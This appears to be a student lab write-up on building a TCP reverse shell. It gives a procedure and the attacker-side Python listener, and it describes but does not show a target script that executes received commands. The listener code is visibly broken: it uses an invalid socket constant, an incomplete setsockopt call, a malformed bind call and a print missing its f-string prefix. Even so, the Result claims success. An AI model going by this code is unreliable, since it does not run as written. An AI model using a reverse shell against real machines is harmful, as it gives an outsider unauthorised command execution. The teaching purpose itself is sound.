Experiment - 12

Develop a program to create reverse shell using TCP sockets

Aim:

To understand TCP socket programming by implementing a basic reverse shell demonstrating client-server communication

Procedure:

1) create a listner in attacker server
2) Bind the server socket to an IP and port
3) use listen() and accept() to wait for incoming connections
4) Recive commands and send reply
5) create a shell script for target machine
6) use socket.connect() to connect back to listner
7) Recive a commands via socket, execute using subprocess.run()

commands / code

```
import socket

s = socket.socket(socket.AF)

s.setsockopt(socket.SOL_SOCKET)

s.bind('0.0.0.0', 4444)

s.listen(1)

print('[*] waiting for connection...')

conn, addr = s.accept()

print('[+] connection from {addr}')

while True:

    cmd = input('shell> ').strip()

    if not cmd: continue

    conn.send(cmd.encode())

    if cmd == 'exit': break

    output = conn.recv(4096)

    print(output)

conn.close(); s.close()
```

8) Send the command output back through socket

9) Run the listner first, then the shell script

10) Test by sending commands like 'ls', 'pwd', 'whoami', from the listener

Result:

The reverse shell program was successfully implemented in a lab environment. TCP socket connections were established and commands were executed and their outputs transmitted over the network.